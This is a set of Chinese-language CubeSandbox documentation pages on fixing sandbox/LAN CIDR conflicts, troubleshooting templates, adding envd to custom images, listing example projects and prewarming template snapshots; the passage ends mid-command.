https://cubesandbox.com/zh/guide/troubleshooting/local-network-cidr-conflict.md --- # 沙箱网段和局域网冲突导致创建模板超时 ## 问题现象 创建模板在 `CREATING_TEMPLATE` 阶段失败： ```bash cubemastercli run fail: template tpl-xx creation failed: context deadline exceeded ``` 或者执行 cube-bench 压测时报错 ```bash ~/CubeSandbox/examples/cube-bench$ ./bin/cube-bench -c 20 -n 200 ... ╭────────────────────────────────────────────────╮ ╭────────────────────────────────────────────────────────────────────────────────────────────────╮ │ Live Stats │ │ Recent Operations │ │ │ │ │ │ Completed 54 / 200 │ │ # 74 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Errors 20 │ │ # 73 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ QPS 2.4 req/s │ │ # 72 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Avg Create 1254 ms │ │ # 69 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Avg Delete 864 ms │ │ # 70 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Elapsed 29.1s │ │ # 71 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ │ │ # 68 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ ╰────────────────────────────────────────────────╯ │ # 67 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ │ ╰────────────────────────────────────────────────────────────────────────────────────────────────╯ create HTTP 500: {"code":500,"message":"CubeMaster returned error code 130595: context deadline exceeded"} ``` ## 环境信息 * Cube Sandbox 版本：e29453 * 部署模式：裸金属或本地物理机部署 * 宿主机 OS / 内核：Ubuntu22.04 / Linux 6.6 * 相关组件：`Cubelet`、持久化 TAP 网卡 ## 根因分析 在本地物理机或裸金属部署时，Cube 会创建大量持久化 TAP 网卡，名称类似 `z192.168.0.x` 或 `z192.168.1.x`。 其默认配置位于 `Cubelet/config/config.toml`，默认创建 500 个 `192.168.0.0/18` 网段下的 TAP 网卡 ```toml [plugins] [plugins."io.cubelet.internal.v1.network"] object_dir = "/usr/local/services/cubetoolbox/cube-vs/network" eth_name = "eth0" tap_init_num = 500 cidr = "192.168.0.0/18" ``` Cube 默认沙箱 CIDR 是 `192.168.0.0/18`，如果宿主机局域网也使用相关网段，例如 `192.168.1.x`，那么沙箱地址会和真实局域网重叠，导致路由和端口探测异常。 执行 ./bin/cube-bench -c 20 -n 200 压测后发现报错，查看 Cubelet 日志 `/data/log/Cubelet/Cubelet-req.log` ```bash $ rg 'PortBindingFailed|probe \\[|Create fail|RunCubeSandboxRequest|sandboxIP|port_mappings]' /data/log/Cubelet/Cubelet-req.log | jq { "CalleeEndpoint": "", "CalleeAction": "Create", "Action": "Create", "InstanceId": "16157c528b224e9eacc6307a2af5705e", "RequestId": "069f93aa-927d-4436-aac0-cc0aa8a89ca9", "@timestamp": "2026-05-20T10:10:16.896601536-04:00", "InstanceType": "cubebox", "Callee": "cubebox", "Version": "release", "CodeLine": "", "FunctionType": "cubebox", "Caller": "cubebox-service", "Namespace": "default", "RetCode": 0, "LogContent": "[cubebox] fail:PortBindingFailed The initialization timeout or detecting 192.168.1.40 port failed.", "LocalIp": "192.168.1.123", "Module": "Cubelet", "LogLevel": "ERROR" } { "InstanceId": "", "Callee": "workflow", "RetCode": 130459, "Namespace": "default", "Module": "Cubelet", "@timestamp": "2026-05-20T10:10:16.896681441-04:00", "LogLevel": "ERROR", "CalleeEndpoint": "", "FunctionType": "cubebox", "Version": "release", "InstanceType": "cubebox", "LogContent": "Create fail:requestID:\"069f93aa-927d-4436-aac0-cc0aa8a89ca9\" ret:{ ret_code:PortBindingFailed ret_msg:\"The initialization timeout or detecting 192.168.1.40 port failed.\"} sandboxID:\"16157c528b224e9eacc6307a2af5705e\" sandboxIP:\"192.168.1.40\" port_mappings:{container_port:49983 host_port:20588} port_mappings:{container_port:49999 host_port:20589}", "Caller": "cubebox-service", "CalleeAction": "Create", "Action": "Create", "LocalIp": "192.168.1.123", "CodeLine": "", "RequestId": "069f93aa-927d-4436-aac0-cc0aa8a89ca9" } ``` 如果宿主机会同时存在两条相关路由 ```bash $ ip route 192.168.0.0/18 dev cube-dev proto kernel scope link src 192.168.0.1 192.168.1.0/24 dev enp56s0f0 proto kernel scope link src 192.168.1.123 metric 100 ``` 192.168.1.0/24 比 /18 更精确，所以访问 192.168.1.40 时可能走真实物理网卡 enp56s0f0，而不是 Cube 的 cube-dev/TAP 路径，导致 Cubelet 探测沙箱端口时连不到真正的沙箱 ## 解决方案 先停止服务 ```bash sudo systemctl stop 'cube-sandbox-*.target' ``` 修改配置把 Cubelet 的网络 CIDR 改成不和宿主机局域网冲突的网段，例如改为 `172.31.64.0/18`： ```bash sudo sed -i 's#cidr = "192.168.0.0/18"#cidr = "172.31.64.0/18"#' \ /usr/local/services/cubetoolbox/Cubelet/config/config.toml ``` 删除旧的持久化 TAP 网卡和 cube-dev 网卡 ```bash sudo ip link delete cube-dev 2>/dev/null || true ip tuntap show | awk -F: '/^z[0-9]+\./{print $1}' \ | xargs -r -n1 -I{} sudo ip tuntap del dev {} mode tap ``` 重启服务 ```bash sudo systemctl start 'cube-sandbox-*.target' ``` 网段不再和宿主机局域网重叠后，重新创建模板，成功。 ## 相关：调整沙箱网段时的 CIDR 冲突（残留 `cube-dev`） 停止 Cube Sandbox 服务并不会删除 `cube-dev` dummy 网卡和持久化的 `z<ip>` TAP 设备，它们会一直残留，直到 reboot 或手动清理。用相同网段重装会自动复用现有 `cube-dev`，无需处理；但**调整网段**时，若新 CIDR 与残留的 `cube-dev` 网络重叠，预检会拦截并给出明确指引： ``` [one-click] ERROR: CUBE_SANDBOX_NETWORK_CIDR '192.168.0.0/17' overlaps an existing cube-dev network (192.168.0.0/18). Changing the sandbox CIDR on a host that already has a cube network is disruptive: the old cube-dev and the persistent z* TAP devices are left stale. A reboot alone is NOT enough -- the systemd target is enabled and Cubelet 内置 network runtime 会在启动时按 config.toml 重建旧网络。 To change the CIDR, fully reset the cube network first: sudo systemctl stop 'cube-sandbox-*.target' sudo ip link delete cube-dev 2>/dev/null || true ip tuntap show | awk -F: '/^z[0-9]+\./{print $1}' \ | xargs -r -n1 -I{} sudo ip tuntap del dev {} mode tap then re-run install with the new CIDR. Or keep the existing CIDR (192.168.0.0/18) to reuse the current network. To bypass this check (not recommended), set: CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK=1 ``` 仅 reboot 并不够 —— systemd target 是 enabled 的，开机后 Cubelet 内置 network runtime 会按 `config.toml` 重建 `cube-dev` 和 TAP 设备。按报错中给出的步骤做确定性清理，再用新的 `CUBE_SANDBOX_NETWORK_CIDR` 重新安装。若新网段不与残留 `cube-dev` 重叠，预检放行，Cubelet 内置 network runtime 会把 `cube-dev` 协调到新网段。 --- --- url: https://cubesandbox.com/zh/guide/troubleshooting/templates.md --- # 模板相关排障 | 标题 | 描述 | 相关 Issues | | --- | --- | --- | | 自定义模板制作 `tpl create-from-image` 总是超时 | 两类主因：① 自定义镜像没有启动 `--probe` / `--probe-path` 配置的 HTTP 服务（使用 `envd` 的镜像通常配置为 `49983/health`）；② 在 AWS EC2 等嵌套虚拟化环境部署，受 XSAVE 等指令集缺失导致 MicroVM panic、嵌套页错误慢启动撞 `VsockServerReady` / probe budget。解法是先在本地验证配置的 HTTP probe；镜像需要 `envd` 时按 [自定义模板镜像](../tutorials/bring-your-own-image.md) 准备；嵌套虚拟化场景切到 PVM。 | [#312](https://github.com/TencentCloud/CubeSandbox/issues/312), [#95](https://github.com/TencentCloud/CubeSandbox/issues/95), [#94](https://github.com/TencentCloud/CubeSandbox/issues/94), [#161](https://github.com/TencentCloud/CubeSandbox/issues/161), [#253](https://github.com/TencentCloud/CubeSandbox/issues/253) | | 模板制作因 RPC deadline 失败 | 修改 timeout 前先检查 job phase：`DISTRIBUTING` 由 `create_image_timeout_insec` 限制，`CREATING_TEMPLATE` 由 `app_snapshot_timeout_insec` 限制。应先检查节点健康、剩余磁盘空间、网络连通性和 Cubelet 日志，避免单纯调大 timeout 掩盖故障节点；确认只是正常操作较慢后，再修改 CubeMaster `cubelet_conf` 中对应的值并重启 CubeMaster。 | [CubeMaster 配置项](../service-management.md#cubemaster-settings) | | 磁盘空间不足导致模板制作失败 | 制作模板时需要把 OCI 镜像解压并写入到磁盘文件，会占用大量临时空间。当 `/tmp`、`/data/cubelet` 或 `/usr/local/services/cubetoolbox/` 所在分区空间不足时，模板可能卡在 `UNPACKING` / `BUILDING_EXT4` 阶段，或表现为 mkfs.ext4 校验和不匹配、inode 类型冲突等错误。 | [#240](https://github.com/TencentCloud/CubeSandbox/issues/240), [#251](https://github.com/TencentCloud/CubeSandbox/issues/251) | | 沙箱网段和局域网冲突导致创建模板超时 | one-click 部署默认沙箱网段是 `192.168.0.0/18`。如果宿主机局域网也使用 `192.168.1.x`，Cube 可能给沙箱分配到和真实局域网重叠的 IP 导致模板创建或端口探测以 `context deadline exceeded` 失败。将 Cubelet CIDR 改成不冲突的网段，并在重启前清理旧 TAP 网卡和 `cube-dev`。 | [指南](./local-network-cidr-conflict.md) | --- --- url: https://cubesandbox.com/zh/guide/tutorials/bring-your-own-image.md --- # 自定义模板镜像 本教程介绍如何为**你自己的应用或容器镜像**加入 `envd`，以便通过 CubeSandbox SDK 和 E2B SDK 操作沙箱。 从 OCI 镜像创建模板以及配置应用端口和 readiness probe 的通用流程，请参阅[从 OCI 镜像制作模板](./template-from-image.md)。 *** ## 1. 我的镜像什么时候需要 `envd`？ `envd` 是 CubeSandbox SDK 和 E2B SDK 执行命令、读写文件和建立 PTY 等沙箱操作所使用的数据面服务： | 能力 | 沙箱内的 `envd` 接口 | 没有 `envd` 会怎样 | | --- | --- | --- | | `envd` 健康检查（可作为模板 probe） | `GET :49983/health` → 204 | 该探活端点不可用 | | `Sandbox.commands.run()` | `:49983` 上的 Process API | 命令 API 不可用 | | `Sandbox.files.read/write()` | `:49983` 上的 Files API | 文件 API 不可用 | | 创建时环境变量初始化 | `POST :49983/init` | 传入创建时环境变量时，沙箱创建失败 | 对于交互式开发或代码执行沙箱，建议保留 `envd`，便于通过 SDK 执行命令、读写文件和排障。仅提供自有业务服务且不使用上述能力的镜像可以不包含 `envd`，此时应将模板 probe 配置为应用自己的 HTTP 健康检查端点。 ## 2. 快速开始：基于 `cubesandbox-base` `cubesandbox-base` 是一个普通的 `ubuntu:22.04`，在 `/usr/bin/envd` 预装 了 `envd`，并附带一个通用入口脚本——后台拉起 `envd`、前台 `exec` 你 提供的 `CMD`。你只需要三步：**写 Dockerfile → 构建推送 → 创建模板**。 > 想看一个能直接跑通的完整示例？可以参考仓库里的 > [`examples/cubesandbox-base-nginx`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cubesandbox-base-nginx)， > 里面是把 nginx 叠在 `cubesandbox-base` 上的最小 demo。 ### 2.1 写 Dockerfile ```dockerfile FROM ghcr.io/tencentcloud/cubesandbox-base:2026.16 # 安装你自己需要的工具链 RUN apt-get update \ && apt-get install -y --no-install-recommends python3 python3-pip \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir pandas matplotlib numpy # 如果你的应用需要作为前台进程运行，在这里设置 CMD 即可。 # envd 仍会作为后台进程持续运行。 # CMD ["python3", "/srv/app.py"] ``` ### 2.2 构建并推送 ```bash docker build -t my-registry.example.com/my-team/my-sandbox:v1 . docker push my-registry.example.com/my-team/my-sandbox:v1 ``` 镜像仓库需要能被 Cube 集群拉到。 ::: tip 明文 HTTP 仓库 镜像引用须加 `http://` 前缀，例如 `http://my-registry.example.com/my-team/my-sandbox:v1`。 ::: ### 2.3 创建 Cube 模板 暴露 `49983`（envd），外加你自己应用监听的端口： ```bash cubemastercli tpl create-from-image \ --image my-registry.example.com/my-team/my-sandbox:v1 \ --writable-layer-size 1G \ --expose-port 49983 \ --expose-port <your-custom-port> \ --probe 49983 \ --probe-path /health ``` 拿到 `template_id` 后，可以通过 CubeSandbox SDK 或 E2B SDK 创建沙箱，示例见[从 OCI 镜像制作模板](./template-from-image.md)。 相关实战内容见[本地与远程镜像实战](./template-build-practice.md)。 ## 3. 往现有镜像里注入 `envd` 如果现有镜像不包含 `envd`，可以在构建自定义镜像时从 `cubesandbox-base` 复制，也可以在执行 `create-from-image` 时由 `cubemastercli` 注入。 ### 在 Dockerfile 中复制 如果你想使用你自定义的镜像，可以用 `COPY --from=` 从 `cubesandbox-base` 镜像中**拷贝** `envd` 和入口脚本： ```dockerfile FROM e2bdev/code-interpreter:latest USER root # 从 cubesandbox-base 拉取 envd 与通用入口脚本 COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/bin/envd /usr/bin/envd COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/local/bin/cube-entrypoint.sh /usr/local/bin/cube-entrypoint.sh # 上游镜像通常已有自己的 entrypoint/CMD。推荐用 cube-entrypoint.sh 包裹它； # 或者自己写 entrypoint 并手动拉起 envd —— 见第 4 节。 ENTRYPOINT ["/usr/local/bin/cube-entrypoint.sh"] CMD ["/bin/sh", "-c", "sudo --preserve-env=E2B_LOCAL /root/.jupyter/start-up.sh"] ``` 另一个例子，从轻量的 Python 镜像出发： ```dockerfile FROM python:3.11-slim COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/bin/envd /usr/bin/envd COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/local/bin/cube-entrypoint.sh /usr/local/bin/cube-entrypoint.sh RUN apt-get update \ && apt-get install -y --no-install-recommends curl \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir fastapi uvicorn COPY app.py /srv/app.py EXPOSE 49983 8000 ENTRYPOINT ["/usr/local/bin/cube-entrypoint.sh"] CMD ["uvicorn", "app:app", "--app-dir", "/srv", "--host", "0.0.0.0", "--port", "8000"] ``` 第 5 节会在容器内执行 `curl`。如果你使用的基础镜像没有预装 `curl`，请在构建镜像时先将它安装好，再执行这项检查。 构建、推送、创建模板的流程和第 2.2 / 2.3 节一致。 ### 在模板构建阶段注入 如果不希望修改 Dockerfile，可以在创建模板时通过 `--enable-inject-envd` 上传并注入 `envd`： ```bash cubemastercli tpl create-from-image \ --image <your-image> \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health \ --enable-inject-envd ``` | 参数 | 说明 | | --- | --- | | `--enable-inject-envd` | 从 `cubemastercli` 上传一个 `envd` 二进制并写入模板 rootfs。 | | `--envd-path` | 运行 `cubemastercli` 的机器上的本地路径；仅在设置 `--enable-inject-envd` 时生效。若省略，CLI 会在可用时使用构建期内嵌的默认 `envd`。 | `--envd-path` 是运行 CLI 的机器上的路径，不是 CubeMaster 宿主机路径。CLI 会通过 `create-from-image` 的 multipart 请求上传二进制；CubeMaster 校验上传内容后，将其写入模板 rootfs 的 `/usr/local/bin/envd`，并把二进制的 SHA-256 纳入 rootfs artifact 指纹，避免复用由不同 `envd` 构建的 artifact。 上传的文件必须是非空 ELF 二进制，大小不能超过 16 MiB，并与目标 rootfs 的操作系统和 CPU 架构兼容。例如，Linux x86\_64 镜像需要 Linux x86\_64 版本的 `envd`。 如果 `cubemastercli` 构建时没有内嵌默认 `envd`，则必须同时指定 `--envd-path`。如需构建带默认 `envd` 的 CLI，请先准备二进制并执行： ```bash make cubemastercli ENVD_LOCAL_PATH=/path/to/envd ``` 对于 `cubebox` 类型，CubeMaster 还会保留注入标记，在创建沙箱时自动包装主容器的启动命令：先在后台运行 `/usr/local/bin/envd`，再执行镜像原有命令，并补充暴露 `49983` 端口。因此这种方式无需修改原镜像的入口程序。非 `cubebox` 类型不会应用该启动包装。 ## 4. 入口脚本契约 `cube-entrypoint.sh` 实现了一个非常简单的 "envd 后台 + 用户应用前台" 的 组合模式： 1. 启动时一律后台拉起 `envd -port "${ENVD_PORT:-49983}"`，使 `/health` 在容器启动约 1 秒内就能响应。 2. 如果启动时**带了** `CMD`，脚本会 `exec` 执行它：`envd` 在后台伴跑， 用户进程占用 `stdout`/`stderr`，并接收 `SIGTERM`。 3. 如果**没有** `CMD`，脚本会 `wait` 住 `envd`，让它成为前台主进程。 可用的环境变量： | 变量 | 默认值 | 说明 | | ------------------ | ------------------- | ------------------------------------------------------ | | `ENVD_PORT` | `49983` | envd 监听的端口 | | `ENVD_EXTRA_ARGS` | *(空)* | 追加到 `-port` 之后的额外参数。若未包含 `-isnotfc`，脚本会自动追加以跳过 Firecracker MMDS 查询。 | | `ENVD_LOG_FILE` | `/var/log/envd.log` | envd stdout/stderr 落盘位置；设为 `-` 则继承容器 stdio | | `ENVD_BIN` | `/usr/bin/envd` | 当 envd 安装在别处时覆盖 | ### 自己手动拉起 envd 如果你已经有一个复杂的 entrypoint 不方便交给 `cube-entrypoint.sh`， 只需要在交出控制权前加一行： ```bash #!/bin/bash # your-entrypoint.sh # 后台启动 envd # -isnotfc 是必须的：它让 envd 跳过对 169.254.169.254 的 Firecracker MMDS # 查询。CubeSandbox 不使用 Firecracker，MMDS 服务不存在。缺少此参数时 # envd 会尝试访问不存在的 MMDS，可能引发网络超时、/init 延迟、 # env_vars 注入失败等各种问题。 /usr/bin/envd -port 49983 -isnotfc >/var/log/envd.log 2>&1 & # ... 你原本的启动流程 ... exec "$@" ``` ## 5. 本地验证镜像（可选） 创建模板前，先确认镜像使用默认启动命令时能保持运行，且 envd 可以响应。以下步骤请在同一个终端中执行；宿主机需要 Docker，镜像内需要 `curl` 和 `/usr/bin/envd`。 **1. 启动镜像。** ```bash IMG=my-registry.example.com/my-team/my-sandbox:v1 cid=$(docker create "$IMG") && docker start "$cid" ``` 如果 `docker create` 报错，先处理错误再继续。如果 `docker start` 报错，使用 `$cid` 中的容器 ID 按第 3 步排查。两条命令都成功后，继续第 2 步：`docker start` 成功不代表容器会保持运行。 **2. 检查容器状态和 envd。** ```bash docker inspect --format '{{json .State}}' "$cid" ``` 状态应显示 `"Status":"running"` 和 `"Running":true`。如果为 `exited`，转到第 3 步排查，即使 `ExitCode` 是 `0` 也不能视为通过：容器需要保持运行才能服务 sandbox 请求。 ```bash docker exec "$cid" curl -sS --noproxy '*' --connect-timeout 1 --max-time 3 \ -o /dev/null -w 'envd /health => %{http_code}\n' \ http://127.0.0.1:49983/health # 预期: envd /health => 204 docker exec "$cid" /usr/bin/envd -version # => 2026.16 ``` 探活请求必须执行成功并输出 `204`；其他 HTTP 状态码，包括 `200` 或 `500`，都不算通过。如果 envd 仍在启动，等几秒后重试探活命令；持续失败时转到第 3 步。版本命令也应成功，并确认输出与你安装的 envd 版本一致，例如上文 base 镜像的 `2026.16`。 两项探测完成后，再次检查容器状态： ```bash docker inspect --format '{{json .State}}' "$cid" ``` 状态仍应显示 `"Status":"running"` 和 `"Running":true`。如果容器已经退出，即使两项探测都成功，也应转到第 3 步排查。 容器保持运行、探活成功返回 `204`、版本符合预期，表示基本的本地启动和 envd 就绪检查通过。最终状态检查也通过后，跳到第 4 步删除测试容器，再创建模板并验证应用需要的 SDK 操作。本地检查不覆盖集群拉取镜像、sandbox 网络和 envd `/init`。 **3. 检查失败时，在删除容器前查看状态和日志。** ```bash docker inspect --format '{{json .State}}' "$cid" docker logs --tail 100 "$cid" logdir=$(mktemp -d) docker cp "$cid":/var/log/envd.log "$logdir/envd.log" && tail -n 100 "$logdir/envd.log" ``` 结合状态中的 `ExitCode`、`OOMKilled`、`Error` 和启动日志定位原因。容器已停止时，`docker cp` 仍可提取 envd 日志。如果文件不存在，检查启动输出及入口脚本配置的日志路径。收集完诊断信息后，按第 4 步删除容器。修复镜像后，再从第 1 步重新验证。 **4. 验证或排障结束后清理容器。** ```bash docker rm -f "$cid" ``` 如果复制了日志，文件会保留在 `$logdir` 中供查看，不再需要时可自行删除。 ## 6. 排错速查 | 现象 | 可能原因 | 解决 | | -------------------------------------- | ---------------------------------------------------------- | --------------------------------------------------------------------------------------- | | 模板创建探活失败 | envd 未启动 / 起在错误端口 | 确认 `ENTRYPOINT` 为 `cube-entrypoint.sh`，或你自己的脚本里有 `envd -port 49983 &` | | `curl :49983/health` 返回 `000` | 端口无人监听；入口被用户 CMD 整个替换 | 检查 docker inspect --format '{{json .Config.Entrypoint}}'，保留 `cube-entrypoint.sh` | | envd 立刻退出 | 二进制版本与容器预期不匹配 | `docker exec ... /usr/bin/envd -version` 确认版本；从 pin 的 base tag 重新拷贝 | | envd `/init` 异常缓慢 / `create_time env_vars` 失败 | 缺少 `-isnotfc` 参数；envd 尝试访问不存在的 MMDS (`169.254.169.254`) | 使用 `cube-entrypoint.sh`（会自动追加 `-isnotfc`），或在手动拉起 envd 时自行加上 `-isnotfc` | | 49983 端口冲突 | 你自己的应用也在监听 49983 | 把自家应用迁到别的端口，并一起 `--expose-port` 暴露 | | `sudo: command not found` | 基于 `-slim` / `-alpine` 这种无 sudo 的镜像构建 | `apt-get install -y sudo`，或直接把 `sudo` 从 CMD 里去掉——`cube-entrypoint.sh` 不依赖它 | | 模板创建长时间卡在 `PULLING` | registry 从 Cube 节点不可达 | 推送到集群可访问的 registry，或用 `--registry-username` / `--registry-password` | ## 7. 进阶 —— 自己重建基础镜像 基础镜像由仓库内单个 GitHub Actions workflow 自动构建： [`.github/workflows/build-envd-base-image.yml`](https://github.com/TencentCloud/CubeSandbox/blob/master/.github/workflows/build-envd-base-image.yml)。 它会 checkout `e2b-dev/infra` 的指定 tag（默认 `2026.16`），在原生 `linux/amd64` 与 `linux/arm64` runner 上用 Go 1.25.4 编译 envd，构建 `docker/Dockerfile.cube-base`，分别对 `:49983/health` 做 smoke test，再 合成 multi-arch manifest list 推送到 `ghcr.io/tencentcloud/cubesandbox-base`。 --- --- url: https://cubesandbox.com/zh/guide/tutorials/examples.md --- # 示例项目 以下示例展示 CubeSandbox 的主要功能与生态集成。运行前请查看各项目 README 中的前置条件和配置步骤。 ## 快速入门与镜像 | 示例 | 说明 | | --- | --- | | [代码沙箱快速入门](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/code-sandbox-quickstart) | 创建沙箱，执行 Python 和 Shell 命令，操作文件，并体验核心 E2B 兼容 API。 | | [浏览器沙箱（Playwright）](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/browser-sandbox) | 在 MicroVM 中运行无头 Chromium，通过 CDP 使用 Playwright 远程控制浏览器。 | | [自定义 nginx 镜像](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cubesandbox-base-nginx) | 基于 `cubesandbox-base` 构建最小 nginx 镜像，完整验证自定义模板镜像流程。 | | [Ubuntu 桌面沙箱](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/ubuntu-desktop) | 在浏览器里打开 Ubuntu 22.04 GNOME 桌面，支持截图和 SDK 脚本化 GUI 自动化。 | ## Agent 与框架集成 | 示例 | 说明 | | --- | --- | | [Claude Code](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/claude-code-integration) | 将 Claude Code 的 Bash 工具调用转发到隔离的 CubeSandbox MicroVM 中执行。 | | [LangChain](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration) | 在 LangChain 0.x 和 1.x Agent 中将 CubeSandbox 用作命令执行工具。 | | [Pi Agent](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) | 将 Pi Agent 的工具执行接入 CubeSandbox 环境。 | | [OpenClaw](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openclaw-integration) | 配置 OpenClaw Skill，让 Agent 在隔离的 MicroVM 中执行代码。 | | [OpenAI Agents SDK](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-example) | 将 `E2BSandboxClient` 接入 CubeSandbox，包含 Shell Agent、暂停/恢复和 SWE-bench 流程。 | | [OpenAI Agents + Code Interpreter](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-code-interpreter) | 使用通用 E2B 执行或有状态 Jupyter kernel 运行数据分析 Agent。 | | [SWE-bench + mini-swe-agent](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/mini-rl-training) | 在隔离沙箱中自动处理 SWE-bench 编码任务，支持多模型与 RL 训练流程。 | ## 网络与入口 | 示例 | 说明 | | --- | --- | | [网络策略](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/network-policy) | 演示完全断网、CIDR 白名单、CIDR 黑名单以及运行时更新策略。 | | [路由感知出网](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/route-aware-egress) | 启用 `cube-router` 后，验证沙箱流量按照宿主机路由出网。 | | [gRPC Ingress](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/grpc-ingress) | 通过 CubeProxy 的 9090 明文入口连接原生 gRPC 客户端。 | | [E2B 开发 Sidecar](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/e2b-dev-sidecar) | 在没有泛域名 DNS 的开发环境中，通过 E2B SDK 访问远程 Cube 集群。 | ## 存储、内存与状态 | 示例 | 说明 | | --- | --- | | [Host Mount](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/host-mount) | 创建沙箱时，以只读或读写方式挂载宿主机目录。 | | [快照、回滚与克隆](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone) | 提供快照、回滚、克隆、状态保留和并发操作的独立 SDK 示例。 | | [ivshmem](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/ivshmem) | 启用主机与虚机共享内存，并体验环形缓冲区协议和 mmap 吞吐测试。 | | [腾讯云 COS Volume 插件](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md) | 部署 binary 或 RPC 类型的 COS Volume 插件，并验证完整生命周期。 | | [S3 兼容 Volume 插件](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.zh.md) | 接入 AWS S3、腾讯云 COS、Cloudflare R2、MinIO 等 S3 兼容后端。 | | [JuiceFS Volume 插件](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/juicefs/README.zh.md) | 对象存储之上的 POSIX 文件系统：一个文件系统，每个卷 `--subdir`，多个沙箱可共享一个卷并立即看到彼此的写入 | ## 性能测试 | 示例 | 说明 | | --- | --- | | [cube-bench](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench) | 按可配置并发测量沙箱创建与删除延迟，提供 TUI、分位数报告和 JSON 导出。 | ::: tip 多数 SDK 示例使用相同的环境变量（`E2B_API_URL`、`E2B_API_KEY` 和 `CUBE_TEMPLATE_ID`）。运行前请先参考[快速开始](../quickstart.md)。 ::: --- --- url: https://cubesandbox.com/zh/guide/tutorials/prewarm-template-service.md --- # 预热模板服务 普通模板可以预装系统和依赖，但应用仍可能在每次沙箱启动后执行耗时初始化，例如加载 SDK、创建 Agent 会话、扫描工作区或建立本地缓存。CubeSandbox 可以等待应用完成这些工作后再制作模板快照，使后续沙箱从已初始化的内存和进程状态恢复。 本文以 [`examples/pi-agent-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) 为例，介绍如何设计和制作预热模板。开始前建议先阅读[模板概览](../templates.md)，了解探针如何决定制作快照的时机。 ## 工作原理 预热模板的关键是让应用提供一个准确的就绪端点： 1. 镜像启动常驻服务。 2. 服务完成需要预热的初始化工作。 3. 初始化完成后，就绪端点才返回 HTTP 2xx。 4. CubeSandbox 探测到成功响应，保存此时的文件系统、内存和进程状态。 5. 从模板创建沙箱时，常驻服务随快照恢复，可以直接处理请求。 就绪端点不应在 HTTP 服务器刚开始监听时就返回成功。应先返回 503，直到所有需要保存在快照中的状态都已准备完成。 ## Pi Agent 预热示例 Pi Agent 的普通运行方式会为每个任务启动新进程。示例中的 warmup adapter 则作为镜像的常驻进程，在启动阶段创建一个 Pi SDK `AgentSession`。只有会话初始化完成后，`GET /readyz` 才返回 200。 ### 1. 准备常驻服务 示例实现位于 [`pi_warmup_adapter.mjs`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/pi-agent-integration/pi_warmup_adapter.mjs)。其核心逻辑可以概括为： ```javascript let ready = false; const server = http.createServer((request, response) => { if (request.method === "GET" && request.url === "/readyz") { response.writeHead(ready ? 200 : 503); return response.end(); } // 处理恢复后的业务请求。 }); session = await createAgentSession(/* ... */); ready = true; server.listen(8080, "0.0.0.0"); ``` 实际示例还提供 `POST /prompt`，用于向恢复后的常驻 `AgentSession` 发送任务。 ### 2. 将常驻服务设为镜像命令 [`Dockerfile.warmup`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/pi-agent-integration/Dockerfile.warmup) 基于已安装 Pi Agent 的镜像，复制 adapter，并将其设为镜像的 `CMD`： ```dockerfile ARG PI_AGENT_IMAGE=pi-agent-cube:latest FROM ${PI_AGENT_IMAGE} COPY pi_warmup_adapter.mjs /tmp/pi_warmup_adapter.mjs RUN PI_PACKAGE_DIR="$(npm root -g)/@earendil-works/pi-coding-agent" \ && install -m 0755 /tmp/pi_warmup_adapter.mjs \ "${PI_PACKAGE_DIR}/pi_warmup_adapter.mjs" \ && rm /tmp/pi_warmup_adapter.mjs ENV PI_WARMUP_HOST=0.0.0.0 \ PI_WARMUP_PORT=8080 EXPOSE 49983 8080 CMD ["sh", "-c", "exec node \"$(npm root -g)/@earendil-works/pi-coding-agent/pi_warmup_adapter.mjs\""] ``` 端口 `8080` 提供应用就绪检查和任务接口；`49983` 由基础镜像中的 `envd` 使用，以保留 SDK 的命令、文件和终端能力。 ### 3. 构建并推送镜像 在仓库根目录先构建基础镜像，再构建 warmup 镜像： ```bash docker build --platform linux/amd64 \ -t localhost:5000/pi-agent-cube:latest \ examples/pi-agent-integration docker build --platform linux/amd64 \ -f examples/pi-agent-integration/Dockerfile.warmup \ --build-arg PI_AGENT_IMAGE=localhost:5000/pi-agent-cube:latest \ -t localhost:5000/pi-agent-warmup-cube:latest \ examples/pi-agent-integration docker push 